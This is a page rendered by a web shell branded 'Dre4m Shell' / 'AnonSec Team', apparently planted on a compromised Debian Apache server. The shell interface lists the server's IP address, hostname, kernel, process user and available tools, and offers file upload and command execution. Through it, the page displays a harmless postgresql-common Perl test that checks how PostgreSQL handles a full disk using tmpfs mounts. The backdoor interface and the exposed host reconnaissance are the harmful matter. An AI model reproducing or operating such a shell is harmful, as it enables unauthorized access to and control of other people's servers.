Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.145.51.35
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/task/2/root/proc/2/root/usr/share/postgresql-common/t/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/task/2/root/proc/2/root/usr/share/postgresql-common/t/031_errors_disk_full.t
# Check for proper ENOSPC handling

use strict;

require File::Temp;

use lib 't';
use TestLib;
use Test::More tests => $ENV{NO_TMPFS} ? 1 : 22;

# skip tests if NO_TMPFS is set
if ($ENV{NO_TMPFS}) {
    pass 'Skipping disk full tests, NO_TMPFS is set';
    exit;
}

# we are using unshare here, won't work with systemd
$ENV{_SYSTEMCTL_SKIP_REDIRECT} = 1;

my $outref;

#
note 'check that a failed pg_createcluster leaves no cruft behind: try creating a cluster on a 10 MB tmpfs';
my $cmd = <<EOF;
exec 2>&1
set -e
mount --make-rprivate / 2> /dev/null || :
mkdir -p /var/lib/postgresql
trap "umount /var/lib/postgresql" 0 HUP INT QUIT ILL ABRT PIPE TERM
mount -t tmpfs -o size=10000000 none /var/lib/postgresql
# this is supposed to fail
LC_MESSAGES=C pg_createcluster $MAJORS[-1] test && exit 1 || true
echo -n "ls>"
# should not output anything
ls /etc/postgresql
ls /var/lib/postgresql
echo "<ls"
EOF

my $result;
$result = exec_as 'root', "echo '$cmd' | unshare -m sh", $outref;

is $result, 0, 'script failed';
like $$outref, qr/No space left on device/i,
    'pg_createcluster fails due to insufficient disk space';
like $$outref, qr/\nls><ls\n/, 'does not leave files behind';

check_clean;

#
note 'check disk full conditions on startup';
my $cmd = <<EOF;
set -e
mount --make-rprivate / 2> /dev/null || :
export LC_MESSAGES=C
dirs="/etc/postgresql /var/lib/postgresql /var/log/postgresql"
mkdir -p \$dirs
trap "umount \$dirs" 0 HUP INT QUIT ILL ABRT PIPE TERM
mount -t tmpfs -o size=1000000 none /etc/postgresql
# an empty cluster needs 69MB on ppc64el, round up to 90
mount -t tmpfs -o size=90000000 none /var/lib/postgresql
mount -t tmpfs -o size=1000000 none /var/log/postgresql
pg_createcluster $MAJORS[-1] test

# fill up /var/lib/postgresql
! cat < /dev/zero > /var/lib/postgresql/cruft 2>/dev/null
echo '-- full lib --'
! pg_ctlcluster $MAJORS[-1] test start
echo '-- end full lib --'
echo '-- full lib log --'
cat /var/log/postgresql/postgresql-$MAJORS[-1]-test.log
echo '-- end full lib log --'
rm /var/lib/postgresql/cruft
pg_dropcluster $MAJORS[-1] test --stop
EOF

$result = exec_as 'root', "echo '$cmd' | unshare -m sh", $outref;
is $result, 0, 'script failed';
like $$outref, qr/^-- full lib --.*No space left on device.*^-- end full lib --/ims,
    'pg_ctlcluster prints error message';
like $$outref, qr/^-- full lib log --.*No space left on device.*^-- end full lib log --/ims,
    'log file has error message';

check_clean;

# vim: filetype=perl

Anon7 - 2022
AnonSec Team